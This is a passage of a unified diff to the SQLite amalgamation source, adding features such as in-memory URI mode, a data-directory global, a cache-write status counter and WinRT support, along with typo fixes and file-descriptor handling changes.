+
** persistent [WAL | Write Ahead Log] setting.  By default, the auxiliary
** write ahead log and shared memory files used for transaction control
** are automatically deleted when the latest connection to the database
** closes.  Setting persistent WAL mode causes those files to persist after
@@ -2097,7 +2106,7 @@ struct sqlite3_mem_methods {
** [SQLITE_USE_URI] symbol defined.
**
** [[SQLITE_CONFIG_PCACHE]] [[SQLITE_CONFIG_GETPCACHE]]
-
** <dt>SQLITE_CONFIG_PCACHE and SQLITE_CONFNIG_GETPCACHE
+
** <dt>SQLITE_CONFIG_PCACHE and SQLITE_CONFIG_GETPCACHE
** <dd> These options are obsolete and should not be used by new code.
** They are retained for backwards compatibility but are now no-ops.
** </dl>
@@ -2718,12 +2727,12 @@ SQLITE_API char *sqlite3_vsnprintf(int,char*,const char*, va_list);
** implementation of these routines to be omitted.  That capability
** is no longer provided.  Only built-in memory allocators can be used.
**
-
** The Windows OS interface layer calls
+
** Prior to SQLite version 3.7.10, the Windows OS interface layer called
** the system malloc() and free() directly when converting
** filenames between the UTF-8 encoding used by SQLite
** and whatever filename encoding is used by the particular Windows
-
** installation.  Memory allocation errors are detected, but
-
** they are reported back as [SQLITE_CANTOPEN] or
+
** installation.  Memory allocation errors were detected, but
+
** they were reported back as [SQLITE_CANTOPEN] or
** [SQLITE_IOERR] rather than [SQLITE_NOMEM].
**
** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()]
@@ -3124,18 +3133,20 @@ SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);
**     present, then the VFS specified by the option takes precedence over
**     the value passed as the fourth parameter to sqlite3_open_v2().
**
-
**   <li> <b>mode</b>: ^(The mode parameter may be set to either "ro", "rw" or
-
**     "rwc". Attempting to set it to any other value is an error)^. 
+
**   <li> <b>mode</b>: ^(The mode parameter may be set to either "ro", "rw",
+
**     "rwc", or "memory". Attempting to set it to any other value is
+
**     an error)^. 
**     ^If "ro" is specified, then the database is opened for read-only 
**     access, just as if the [SQLITE_OPEN_READONLY] flag had been set in the 
**     third argument to sqlite3_prepare_v2(). ^If the mode option is set to 
**     "rw", then the database is opened for read-write (but not create) 
**     access, as if SQLITE_OPEN_READWRITE (but not SQLITE_OPEN_CREATE) had 
**     been set. ^Value "rwc" is equivalent to setting both 
-
**     SQLITE_OPEN_READWRITE and SQLITE_OPEN_CREATE. ^If sqlite3_open_v2() is 
-
**     used, it is an error to specify a value for the mode parameter that is 
-
**     less restrictive than that specified by the flags passed as the third 
-
**     parameter.
+
**     SQLITE_OPEN_READWRITE and SQLITE_OPEN_CREATE.  ^If the mode option is
+
**     set to "memory" then a pure [in-memory database] that never reads
+
**     or writes from disk is used. ^It is an error to specify a value for
+
**     the mode parameter that is less restrictive than that specified by
+
**     the flags passed in the third parameter to sqlite3_open_v2().
**
**   <li> <b>cache</b>: ^The cache parameter may be set to either "shared" or
**     "private". ^Setting it to "shared" is equivalent to setting the
@@ -4999,6 +5010,43 @@ SQLITE_API int sqlite3_sleep(int);
SQLITE_API char *sqlite3_temp_directory;

/*
+
** CAPI3REF: Name Of The Folder Holding Database Files
+
**
+
** ^(If this global variable is made to point to a string which is
+
** the name of a folder (a.k.a. directory), then all database files
+
** specified with a relative pathname and created or accessed by
+
** SQLite when using a built-in windows [sqlite3_vfs | VFS] will be assumed
+
** to be relative to that directory.)^ ^If this variable is a NULL
+
** pointer, then SQLite assumes that all database files specified
+
** with a relative pathname are relative to the current directory
+
** for the process.  Only the windows VFS makes use of this global
+
** variable; it is ignored by the unix VFS.
+
**
+
** Changing the value of this variable while a database connection is
+
** open can result in a corrupt database.
+
**
+
** It is not safe to read or modify this variable in more than one
+
** thread at a time.  It is not safe to read or modify this variable
+
** if a [database connection] is being used at the same time in a separate
+
** thread.
+
** It is intended that this variable be set once
+
** as part of process initialization and before any SQLite interface
+
** routines have been called and that this variable remain unchanged
+
** thereafter.
+
**
+
** ^The [data_store_directory pragma] may modify this variable and cause
+
** it to point to memory obtained from [sqlite3_malloc].  ^Furthermore,
+
** the [data_store_directory pragma] always assumes that any string
+
** that this variable points to is held in memory obtained from 
+
** [sqlite3_malloc] and the pragma may attempt to free that memory
+
** using [sqlite3_free].
+
** Hence, if this variable is modified directly, either it should be
+
** made NULL or made to point to memory obtained from [sqlite3_malloc]
+
** or else the use of the [data_store_directory pragma] should be avoided.
+
*/
+
SQLITE_API char *sqlite3_data_directory;
+

+
/*
** CAPI3REF: Test For Auto-Commit Mode
** KEYWORDS: {autocommit mode}
**
@@ -5176,7 +5224,6 @@ SQLITE_API void *sqlite3_update_hook(

/*
** CAPI3REF: Enable Or Disable Shared Pager Cache
-
** KEYWORDS: {shared cache}
**
** ^(This routine enables or disables the sharing of the database cache
** and schema data structures between [database connection | connections]
@@ -6556,6 +6603,17 @@ SQLITE_API int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int r
** occurred.)^ ^The highwater mark associated with SQLITE_DBSTATUS_CACHE_MISS 
** is always 0.
** </dd>
+
**
+
** [[SQLITE_DBSTATUS_CACHE_WRITE]] ^(<dt>SQLITE_DBSTATUS_CACHE_WRITE</dt>
+
** <dd>This parameter returns the number of dirty cache entries that have
+
** been written to disk. Specifically, the number of pages written to the
+
** wal file in wal mode databases, or the number of pages written to the
+
** database file in rollback mode databases. Any pages written as part of
+
** transaction rollback or database recovery operations are not included.
+
** If an IO or other error occurs while writing a page to disk, the effect
+
** on subsequent SQLITE_DBSTATUS_CACHE_WRITE requests is undefined.)^ ^The
+
** highwater mark associated with SQLITE_DBSTATUS_CACHE_WRITE is always 0.
+
** </dd>
** </dl>
*/
#define SQLITE_DBSTATUS_LOOKASIDE_USED       0
@@ -6567,7 +6625,8 @@ SQLITE_API int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int r
#define SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL  6
#define SQLITE_DBSTATUS_CACHE_HIT            7
#define SQLITE_DBSTATUS_CACHE_MISS           8
-
#define SQLITE_DBSTATUS_MAX                  8   /* Largest defined DBSTATUS */
+
#define SQLITE_DBSTATUS_CACHE_WRITE          9
+
#define SQLITE_DBSTATUS_MAX                  9   /* Largest defined DBSTATUS */


/*
@@ -7523,7 +7582,11 @@ typedef struct sqlite3_rtree_geometry sqlite3_rtree_geometry;
SQLITE_API int sqlite3_rtree_geometry_callback(
  sqlite3 *db,
  const char *zGeom,
-
  int (*xGeom)(sqlite3_rtree_geometry *, int nCoord, double *aCoord, int *pRes),
+
#ifdef SQLITE_RTREE_INT_ONLY
+
  int (*xGeom)(sqlite3_rtree_geometry*, int n, sqlite3_int64 *a, int *pRes),
+
#else
+
  int (*xGeom)(sqlite3_rtree_geometry*, int n, double *a, int *pRes),
+
#endif
  void *pContext
);

@@ -8999,7 +9062,7 @@ SQLITE_PRIVATE int sqlite3PagerWalFramesize(Pager *pPager);
SQLITE_PRIVATE u8 sqlite3PagerIsreadonly(Pager*);
SQLITE_PRIVATE int sqlite3PagerRefcount(Pager*);
SQLITE_PRIVATE int sqlite3PagerMemUsed(Pager*);
-
SQLITE_PRIVATE const char *sqlite3PagerFilename(Pager*);
+
SQLITE_PRIVATE const char *sqlite3PagerFilename(Pager*, int);
SQLITE_PRIVATE const sqlite3_vfs *sqlite3PagerVfs(Pager*);
SQLITE_PRIVATE sqlite3_file *sqlite3PagerFile(Pager*);
SQLITE_PRIVATE const char *sqlite3PagerJournalname(Pager*);
@@ -9269,13 +9332,11 @@ SQLITE_PRIVATE void sqlite3PCacheSetDefault(void);
# endif
#endif

-
/*
-
** Define the maximum size of a temporary filename
-
*/
#if SQLITE_OS_WIN
# include <windows.h>
-
# define SQLITE_TEMPNAME_SIZE (MAX_PATH+50)
-
#elif SQLITE_OS_OS2
+
#endif
+

+
#if SQLITE_OS_OS2
# if (__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ >= 3) && defined(OS2_HIGH_MEMORY)
#  include <os2safe.h> /* has to be included before os2.h for linking to work */
# endif
@@ -9288,9 +9349,6 @@ SQLITE_PRIVATE void sqlite3PCacheSetDefault(void);
# define INCL_DOSSEMAPHORES
# include <os2.h>
# include <uconv.h>
-
# define SQLITE_TEMPNAME_SIZE (CCHMAXPATHCOMP)
-
#else
-
# define SQLITE_TEMPNAME_SIZE 200
#endif

/*
@@ -9324,6 +9382,22 @@ SQLITE_PRIVATE void sqlite3PCacheSetDefault(void);
# define SQLITE_OS_WINCE 0
#endif

+
/*
+
** Determine if we are dealing with WindowsRT (Metro) as this has a different and
+
** incompatible API from win32.
+
*/
+
#if !defined(SQLITE_OS_WINRT)
+
# define SQLITE_OS_WINRT 0
+
#endif
+

+
/*
+
** When compiled for WinCE or WinRT, there is no concept of the current
+
** directory.
+
 */
+
#if !SQLITE_OS_WINCE && !SQLITE_OS_WINRT
+
# define SQLITE_CURDIR 1
+
#endif
+

/* If the SET_FULLSYNC macro is not defined above, then make it
** a no-op
*/
@@ -9921,14 +9995,18 @@ struct FuncDestructor {
};

/*
-
** Possible values for FuncDef.flags
+
** Possible values for FuncDef.flags.  Note that the _LENGTH and _TYPEOF
+
** values must correspond to OPFLAG_LENGTHARG and OPFLAG_TYPEOFARG.  There
+
** are assert() statements in the code to verify this.
*/
#define SQLITE_FUNC_LIKE     0x01 /* Candidate for the LIKE optimization */
#define SQLITE_FUNC_CASE     0x02 /* Case-sensitive LIKE-type function */
#define SQLITE_FUNC_EPHEM    0x04 /* Ephemeral.  Delete with VDBE */
#define SQLITE_FUNC_NEEDCOLL 0x08 /* sqlite3GetFuncCollSeq() might be called */
-
#define SQLITE_FUNC_COUNT    0x20 /* Built-in count(*) aggregate */
-
#define SQLITE_FUNC_COALESCE 0x40 /* Built-in coalesce() or ifnull() function */
+
#define SQLITE_FUNC_COUNT    0x10 /* Built-in count(*) aggregate */
+
#define SQLITE_FUNC_COALESCE 0x20 /* Built-in coalesce() or ifnull() function */
+
#define SQLITE_FUNC_LENGTH   0x40 /* Built-in length() function */
+
#define SQLITE_FUNC_TYPEOF   0x80 /* Built-in typeof() function */

/*
** The following three macros, FUNCTION(), LIKEFUNC() and AGGREGATE() are
@@ -9956,7 +10034,10 @@ struct FuncDestructor {
**     parameter.
*/
#define FUNCTION(zName, nArg, iArg, bNC, xFunc) \
-
  {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \
+
  {nArg, SQLITE_UTF8, (bNC*SQLITE_FUNC_NEEDCOLL), \
+
   SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0, 0}
+
#define FUNCTION2(zName, nArg, iArg, bNC, xFunc, extraFlags) \
+
  {nArg, SQLITE_UTF8, (bNC*SQLITE_FUNC_NEEDCOLL)|extraFlags, \
   SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0, 0}
#define STR_FUNCTION(zName, nArg, pArg, bNC, xFunc) \
  {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \
@@ -10186,7 +10267,7 @@ struct Table {
  FKey *pFKey;         /* Linked list of all foreign keys in this table */
  char *zColAff;       /* String defining the affinity of each column */
#ifndef SQLITE_OMIT_CHECK
-
  Expr *pCheck;        /* The AND of all CHECK constraints */
+
  ExprList *pCheck;    /* All CHECK constraints */
#endif
#ifndef SQLITE_OMIT_ALTERTABLE
  int addColOffset;    /* Offset in CREATE TABLE stmt to add a new column */
@@ -10579,6 +10660,7 @@ struct Expr {
  i16 iRightJoinTable;   /* If EP_FromJoin, the right table of the join */
  u8 flags2;             /* Second set of flags.  EP2_... */
  u8 op2;                /* If a TK_REGISTER, the original value of Expr.op */
+
                         /* If TK_COLUMN, the value of p5 for OP_Column */
  AggInfo *pAggInfo;     /* Used by TK_AGG_COLUMN and TK_AGG_FUNCTION */
  Table *pTab;           /* Table for TK_COLUMN expressions. */
#if SQLITE_MAX_EXPR_DEPTH>0
@@ -10601,7 +10683,7 @@ struct Expr {
#define EP_FixedDest  0x0200  /* Result needed in a specific register */
#define EP_IntValue   0x0400  /* Integer value contained in u.iValue */
#define EP_xIsSelect  0x0800  /* x.pSelect is valid (otherwise x.pList is) */
-
#define EP_Hint       0x1000  /* Optimizer hint. Not required for correctness */
+
#define EP_Hint       0x1000  /* Not used */
#define EP_Reduced    0x2000  /* Expr struct is EXPR_REDUCEDSIZE bytes only */
#define EP_TokenOnly  0x4000  /* Expr struct is EXPR_TOKENONLYSIZE bytes only */
#define EP_Static     0x8000  /* Held in memory not obtained from malloc() */
@@ -10910,17 +10992,22 @@ struct NameContext {
  Parse *pParse;       /* The parser */
  SrcList *pSrcList;   /* One or more tables used to resolve names */
  ExprList *pEList;    /* Optional list of named expressions */
-
  int nRef;            /* Number of names resolved by this context */
-
  int nErr;            /* Number of errors encountered while resolving names */
-
  u8 allowAgg;         /* Aggregate functions allowed here */
-
  u8 hasAgg;           /* True if aggregates are seen */
-
  u8 isCheck;          /* True if resolving names in a CHECK constraint */
-
  int nDepth;          /* Depth of subquery recursion. 1 for no recursion */
  AggInfo *pAggInfo;   /* Information about aggregates at this level */
  NameContext *pNext;  /* Next outer name context.  NULL for outermost */
+
  int nRef;            /* Number of names resolved by this context */
+
  int nErr;            /* Number of errors encountered while resolving names */
+
  u8 ncFlags;          /* Zero or more NC_* flags defined below */
};

/*
+
** Allowed values for the NameContext, ncFlags field.
+
*/
+
#define NC_AllowAgg  0x01    /* Aggregate functions are allowed here */
+
#define NC_HasAgg    0x02    /* One or more aggregate functions seen */
+
#define NC_IsCheck   0x04    /* True if resolving names in a CHECK constraint */
+
#define NC_InAggFunc 0x08    /* True if analyzing arguments to an agg func */
+

+
/*
** An instance of the following structure contains all information
** needed to generate code for a single SELECT statement.
**
@@ -11120,6 +11207,7 @@ struct Parse {
  int regRowid;        /* Register holding rowid of CREATE TABLE entry */
  int regRoot;         /* Register holding root page number for new objects */
  int nMaxArg;         /* Max args passed to user function by sub-program */
+
  Token constraintName;/* Name of the constraint currently being parsed */
#ifndef SQLITE_OMIT_SHARED_CACHE
  int nTableLock;        /* Number of locks in aTableLock */
  TableLock *aTableLock; /* Required table locks for shared-cache mode */
@@ -11188,7 +11276,7 @@ struct AuthContext {
};

/*
-
** Bitfield flags for P5 value in OP_Insert and OP_Delete
+
** Bitfield flags for P5 value in various opcodes.
*/
#define OPFLAG_NCHANGE       0x01    /* Set to update db->nChange */
#define OPFLAG_LASTROWID     0x02    /* Set to update db->lastRowid */
@@ -11196,6 +11284,8 @@ struct AuthContext {
#define OPFLAG_APPEND        0x08    /* This is likely to be an append */
#define OPFLAG_USESEEKRESULT 0x10    /* Try to avoid a seek in BtreeInsert() */
#define OPFLAG_CLEARCACHE    0x20    /* Clear pseudo-table cache in OP_Column */
+
#define OPFLAG_LENGTHARG     0x40    /* OP_Column only used for length() */
+
#define OPFLAG_TYPEOFARG     0x80    /* OP_Column only used for typeof() */

/*
 * Each trigger present in the database schema is stored as an instance of
@@ -11378,6 +11468,7 @@ struct Walker {
  union {                                   /* Extra data for callback */
    NameContext *pNC;                          /* Naming context */
    int i;                                     /* Integer value */
+
    SrcList *pSrcList;                         /* FROM clause */
  } u;
};

@@ -11597,7 +11688,9 @@ SQLITE_PRIVATE void sqlite3ExprListDelete(sqlite3*, ExprList*);
SQLITE_PRIVATE int sqlite3Init(sqlite3*, char**);
SQLITE_PRIVATE int sqlite3InitCallback(void*, int, char**, char**);
SQLITE_PRIVATE void sqlite3Pragma(Parse*,Token*,Token*,Token*,int);
-
SQLITE_PRIVATE void sqlite3ResetInternalSchema(sqlite3*, int);
+
SQLITE_PRIVATE void sqlite3ResetAllSchemasOfConnection(sqlite3*);
+
SQLITE_PRIVATE void sqlite3ResetOneSchema(sqlite3*,int);
+
SQLITE_PRIVATE void sqlite3CollapseDatabaseArray(sqlite3*);
SQLITE_PRIVATE void sqlite3BeginParse(Parse*,int);
SQLITE_PRIVATE void sqlite3CommitInternalChanges(sqlite3*);
SQLITE_PRIVATE Table *sqlite3ResultSetOfSelect(Parse*,Select*);
@@ -11679,7 +11772,7 @@ SQLITE_PRIVATE void sqlite3DeleteFrom(Parse*, SrcList*, Expr*);
SQLITE_PRIVATE void sqlite3Update(Parse*, SrcList*, ExprList*, Expr*, int);
SQLITE_PRIVATE WhereInfo *sqlite3WhereBegin(Parse*, SrcList*, Expr*, ExprList**,ExprList*,u16);
SQLITE_PRIVATE void sqlite3WhereEnd(WhereInfo*);
-
SQLITE_PRIVATE int sqlite3ExprCodeGetColumn(Parse*, Table*, int, int, int);
+
SQLITE_PRIVATE int sqlite3ExprCodeGetColumn(Parse*, Table*, int, int, int, u8);
SQLITE_PRIVATE void sqlite3ExprCodeGetColumnOfTable(Vdbe*, Table*, int, int, int);
SQLITE_PRIVATE void sqlite3ExprCodeMove(Parse*, int, int, int);
SQLITE_PRIVATE void sqlite3ExprCodeCopy(Parse*, int, int, int);
@@ -11746,7 +11839,7 @@ SQLITE_PRIVATE SrcList *sqlite3SrcListDup(sqlite3*,SrcList*,int);
SQLITE_PRIVATE IdList *sqlite3IdListDup(sqlite3*,IdList*);
SQLITE_PRIVATE Select *sqlite3SelectDup(sqlite3*,Select*,int);
SQLITE_PRIVATE void sqlite3FuncDefInsert(FuncDefHash*, FuncDef*);
-
SQLITE_PRIVATE FuncDef *sqlite3FindFunction(sqlite3*,const char*,int,int,u8,int);
+
SQLITE_PRIVATE FuncDef *sqlite3FindFunction(sqlite3*,const char*,int,int,u8,u8);
SQLITE_PRIVATE void sqlite3RegisterBuiltinFunctions(sqlite3*);
SQLITE_PRIVATE void sqlite3RegisterDateTimeFunctions(void);
SQLITE_PRIVATE void sqlite3RegisterGlobalFunctions(void);
@@ -12002,6 +12095,7 @@ SQLITE_PRIVATE int sqlite3Utf8To8(unsigned char*);
#  define sqlite3GetVTable(X,Y)  ((VTable*)0)
#else
SQLITE_PRIVATE    void sqlite3VtabClear(sqlite3 *db, Table*);
+
SQLITE_PRIVATE    void sqlite3VtabDisconnect(sqlite3 *db, Table *p);
SQLITE_PRIVATE    int sqlite3VtabSync(sqlite3 *db, char **);
SQLITE_PRIVATE    int sqlite3VtabRollback(sqlite3 *db);
SQLITE_PRIVATE    int sqlite3VtabCommit(sqlite3 *db);
@@ -12456,6 +12550,9 @@ static const char * const azCompileOpt[] = {
#ifdef SQLITE_COVERAGE_TEST
  "COVERAGE_TEST",
#endif
+
#ifdef SQLITE_CURDIR
+
  "CURDIR",
+
#endif
#ifdef SQLITE_DEBUG
  "DEBUG",
#endif
@@ -13511,10 +13608,12 @@ SQLITE_API int sqlite3_db_status(
    ** to zero.
    */
    case SQLITE_DBSTATUS_CACHE_HIT:
-
    case SQLITE_DBSTATUS_CACHE_MISS: {
+
    case SQLITE_DBSTATUS_CACHE_MISS:
+
    case SQLITE_DBSTATUS_CACHE_WRITE:{
      int i;
      int nRet = 0;
      assert( SQLITE_DBSTATUS_CACHE_MISS==SQLITE_DBSTATUS_CACHE_HIT+1 );
+
      assert( SQLITE_DBSTATUS_CACHE_WRITE==SQLITE_DBSTATUS_CACHE_HIT+2 );

      for(i=0; i<db->nDb; i++){
        if( db->aDb[i].pBt ){
@@ -18307,7 +18406,7 @@ struct sqlite3_mutex {
** this out as well.
*/
#if 0
-
#if SQLITE_OS_WINCE
+
#if SQLITE_OS_WINCE || SQLITE_OS_WINRT
# define mutexIsNT()  (1)
#else
  static int mutexIsNT(void){
@@ -18360,18 +18459,24 @@ static int winMutex_isInit = 0;
*/
static long winMutex_lock = 0;

+
SQLITE_API extern void sqlite3_win32_sleep(DWORD milliseconds); /* os_win.c */
+

static int winMutexInit(void){ 
  /* The first to increment to 1 does actual initialization */
  if( InterlockedCompareExchange(&winMutex_lock, 1, 0)==0 ){
    int i;
    for(i=0; i<ArraySize(winMutex_staticMutexes); i++){
+
#if SQLITE_OS_WINRT
+
      InitializeCriticalSectionEx(&winMutex_staticMutexes[i].mutex, 0, 0);
+
#else
      InitializeCriticalSection(&winMutex_staticMutexes[i].mutex);
+
#endif
    }
    winMutex_isInit = 1;
  }else{
    /* Someone else is in the process of initing the static mutexes */
    while( !winMutex_isInit ){
-
      Sleep(1);
+
      sqlite3_win32_sleep(1);
    }
  }
  return SQLITE_OK; 
@@ -18445,7 +18550,11 @@ static sqlite3_mutex *winMutexAlloc(int iType){
#ifdef SQLITE_DEBUG
        p->id = iType;
#endif
+
#if SQLITE_OS_WINRT
+
        InitializeCriticalSectionEx(&p->mutex, 0, 0);
+
#else
        InitializeCriticalSection(&p->mutex);
+
#endif
      }
      break;
    }
@@ -19076,6 +19185,10 @@ SQLITE_PRIVATE void sqlite3DbFree(sqlite3 *db, void *p){
    }
    if( isLookaside(db, p) ){
      LookasideSlot *pBuf = (LookasideSlot*)p;
+
#if SQLITE_DEBUG
+
      /* Trash all content in the buffer being freed */
+
      memset(p, 0xaa, db->lookaside.sz);
+
#endif
      pBuf->pNext = db->lookaside.pFree;
      db->lookaside.pFree = pBuf;
      db->lookaside.nOut--;
@@ -24972,8 +25085,8 @@ SQLITE_API int sqlite3_os_end(void){
#endif

/*
-
 ** Default permissions when creating auto proxy dir
-
 */
+
** Default permissions when creating auto proxy dir
+
*/
#ifndef SQLITE_DEFAULT_PROXYDIR_PERMISSIONS
# define SQLITE_DEFAULT_PROXYDIR_PERMISSIONS 0755
#endif
@@ -25034,7 +25147,7 @@ struct unixFile {
#if OS_VXWORKS
  struct vxworksFileId *pId;          /* Unique file ID */
#endif
-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
  /* The next group of variables are used to track whether or not the
  ** transaction counter in bytes 24-27 of database files are updated
  ** whenever any part of the database changes.  An assertion fault will
@@ -25069,7 +25182,6 @@ struct unixFile {
#define UNIXFILE_DELETE      0x20     /* Delete on close */
#define UNIXFILE_URI         0x40     /* Filename might have query parameters */
#define UNIXFILE_NOLOCK      0x80     /* Do no file locking */
-
#define UNIXFILE_CHOWN      0x100     /* File ownership was changed */

/*
** Include code that is common to all os_*.c files
@@ -25323,6 +25435,15 @@ static int posixOpen(const char *zFile, int flags, int mode){
  return open(zFile, flags, mode);
}

+
/*
+
** On some systems, calls to fchown() will trigger a message in a security
+
** log if they come from non-root processes.  So avoid calling fchown() if
+
** we are not running as root.
+
*/
+
static int posixFchown(int fd, uid_t uid, gid_t gid){
+
  return geteuid() ? 0 : fchown(fd,uid,gid);
+
}
+

/* Forward reference */
static int openDirectory(const char*, int*);

@@ -25434,7 +25555,7 @@ static struct unix_syscall {
  { "rmdir",        (sqlite3_syscall_ptr)rmdir,           0 },
#define osRmdir     ((int(*)(const char*))aSyscall[19].pCurrent)

-
  { "fchown",       (sqlite3_syscall_ptr)fchown,          0 },
+
  { "fchown",       (sqlite3_syscall_ptr)posixFchown,     0 },
#define osFchown    ((int(*)(int,uid_t,gid_t))aSyscall[20].pCurrent)

  { "umask",        (sqlite3_syscall_ptr)umask,           0 },
@@ -25527,7 +25648,7 @@ static const char *unixNextSystemCall(sqlite3_vfs *p, const char *zName){

/*
** Invoke open().  Do so multiple times, until it either succeeds or
-
** files for some reason other than EINTR.
+
** fails for some reason other than EINTR.
**
** If the file creation mode "m" is 0 then set it to the default for
** SQLite.  The default is SQLITE_DEFAULT_FILE_PERMISSIONS (normally
@@ -25543,7 +25664,7 @@ static const char *unixNextSystemCall(sqlite3_vfs *p, const char *zName){
** recover the hot journals.
*/
static int robust_open(const char *z, int f, mode_t m){
-
  int rc;
+
  int fd;
  mode_t m2;
  mode_t origM = 0;
  if( m==0 ){
@@ -25552,11 +25673,20 @@ static int robust_open(const char *z, int f, mode_t m){
    m2 = m;
    origM = osUmask(0);
  }
-
  do{ rc = osOpen(z,f,m2); }while( rc<0 && errno==EINTR );
+
  do{
+
#if defined(O_CLOEXEC)
+
    fd = osOpen(z,f|O_CLOEXEC,m2);
+
#else
+
    fd = osOpen(z,f,m2);
+
#endif
+
  }while( fd<0 && errno==EINTR );
  if( m ){
    osUmask(origM);
  }
-
  return rc;
+
#if defined(FD_CLOEXEC) && (!defined(O_CLOEXEC) || O_CLOEXEC==0)
+
  if( fd>=0 ) osFcntl(fd, F_SETFD, osFcntl(fd, F_GETFD, 0) | FD_CLOEXEC);
+
#endif
+
  return fd;
}

/*
@@ -26569,7 +26699,7 @@ static int unixLock(sqlite3_file *id, int eFileLock){
  }
  

-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
  /* Set up the transaction-counter change checking flags when
  ** transitioning from a SHARED to a RESERVED lock.  The change
  ** from SHARED to RESERVED marks the beginning of a normal
@@ -26648,7 +26778,7 @@ static int posixUnlock(sqlite3_file *id, int eFileLock, int handleNFSUnlock){
  if( pFile->eFileLock>SHARED_LOCK ){
    assert( pInode->eFileLock==pFile->eFileLock );

-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
    /* When reducing a lock such that other processes can start
    ** reading the database file again, make sure that the
    ** transaction counter was updated if any part of the database
@@ -27847,7 +27977,7 @@ static int afpUnlock(sqlite3_file *id, int eFileLock) {
    SimulateIOError( h=(-1) )
    SimulateIOErrorBenign(0);
    
-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
    /* When reducing a lock such that other processes can start
    ** reading the database file again, make sure that the
    ** transaction counter was updated if any part of the database
@@ -28151,7 +28281,7 @@ static int unixWrite(
  );
#endif

-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
  /* If we are doing a normal write to a database file (as opposed to
  ** doing a hot-journal rollback or a write to some file other than a
  ** normal database file) then record the fact that the database
@@ -28351,9 +28481,6 @@ static int openDirectory(const char *zFilename, int *pFd){
    zDirname[ii] = '\0';
    fd = robust_open(zDirname, O_RDONLY|O_BINARY, 0);
    if( fd>=0 ){
-
#ifdef FD_CLOEXEC
-
      osFcntl(fd, F_SETFD, osFcntl(fd, F_GETFD, 0) | FD_CLOEXEC);
-
#endif
      OSTRACE(("OPENDIR %-3d %s\n", fd, zDirname));
    }
  }
@@ -28436,7 +28563,7 @@ static int unixTruncate(sqlite3_file *id, i64 nByte){
  ** actual file size after the operation may be larger than the requested
  ** size).
  */
-
  if( pFile->szChunk ){
+
  if( pFile->szChunk>0 ){
    nByte = ((nByte + pFile->szChunk - 1)/pFile->szChunk) * pFile->szChunk;
  }

@@ -28445,7 +28572,7 @@ static int unixTruncate(sqlite3_file *id, i64 nByte){
    pFile->lastErrno = errno;
    return unixLogError(SQLITE_IOERR_TRUNCATE, "ftruncate", pFile->zPath);
  }else{
-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
    /* If we are doing a normal write to a database file (as opposed to
    ** doing a hot-journal rollback or a write to some file other than a
    ** normal database file) and we truncate the file to zero length,
@@ -28602,7 +28729,7 @@ static int unixFileControl(sqlite3_file *id, int op, void *pArg){
      *(char**)pArg = sqlite3_mprintf("%s", pFile->pVfs->zName);
      return SQLITE_OK;
    }
-
#ifndef NDEBUG
+
#ifdef SQLITE_DEBUG
    /* The pager calls this method to signal that it has done
    ** a rollback and that the database is therefore unchanged and
    ** it hence it is OK for the transaction change counter to be
@@ -28953,14 +29080,9 @@ static int unixOpenSharedMemory(unixFile *pDbFd){

      /* If this process is running as root, make sure that the SHM file
      ** is owned by the same user that owns the original database.  Otherwise,
-
      ** the original owner will not be able to connect. If this process is
-
      ** not root, the following fchown() will fail, but we don't care.  The
-
      ** if(){..} and the UNIXFILE_CHOWN flag are purely to silence compiler
-
      ** warnings.
+
      ** the original owner will not be able to connect.
      */
-
      if( osFchown(pShmNode->h, sStat.st_uid, sStat.st_gid)==0 ){
-
        pDbFd->ctrlFlags |= UNIXFILE_CHOWN;
-
      }
+
      osFchown(pShmNode->h, sStat.st_uid, sStat.st_gid);
  
      /* Check to see if another process is holding the dead-man switch.
      ** If not, truncate the file to zero length. 
@@ -30166,13 +30288,10 @@ static int unixOpen(

    /* If this process is running as root and if creating a new rollback
    ** journal or WAL file, set the ownership of the journal or WAL to be
-
    ** the same as the original database.  If we are not running as root,
-
    ** then the fchown() call will fail, but that's ok.  The "if(){}" and
-
    ** the setting of the UNIXFILE_CHOWN flag are purely to silence compiler
-
    ** warnings from gcc.
+
    ** the same as the original database.
    */
    if( flags & (SQLITE_OPEN_WAL|SQLITE_OPEN_MAIN_JOURNAL) ){
-
      if( osFchown(fd, uid, gid)==0 ){ p->ctrlFlags |= UNIXFILE_CHOWN; }
+
      osFchown(fd, uid, gid);
    }
  }
  assert( fd>=0 );
@@ -30198,10 +30317,6 @@ static int unixOpen(
  }
#endif

-
#ifdef FD_CLOEXEC
-
  osFcntl(fd, F_SETFD, osFcntl(fd, F_GETFD, 0) | FD_CLOEXEC);
-
#endif
-

  noLock = eType!=SQLITE_OPEN_MAIN_DB;

  
@@ -32138,12 +32253,27 @@ SQLITE_API int sqlite3_open_file_count = 0;
/************** Continuing where we left off in os_win.c *********************/

/*
+
** Macro to find the minimum of two numeric values.
+
*/
+
#ifndef MIN
+
# define MIN(x,y) ((x)<(y)?(x):(y))
+
#endif
+

+
/*
** Some Microsoft compilers lack this definition.
*/
#ifndef INVALID_FILE_ATTRIBUTES
# define INVALID_FILE_ATTRIBUTES ((DWORD)-1) 
#endif

+
#ifndef FILE_FLAG_MASK
+
# define FILE_FLAG_MASK          (0xFF3C0000)
+
#endif
+

+
#ifndef FILE_ATTRIBUTE_MASK
+
# define FILE_ATTRIBUTE_MASK     (0x0003FFF7)
+
#endif
+

/* Forward references */
typedef struct winShm winShm;           /* A connection to shared-memory */
typedef struct winShmNode winShmNode;   /* A region of shared-memory */
@@ -32193,10 +32323,36 @@ struct winFile {
#define WINFILE_PSOW            0x10   /* SQLITE_IOCAP_POWERSAFE_OVERWRITE */

/*
+
 * The size of the buffer used by sqlite3_win32_write_debug().
+
 */
+
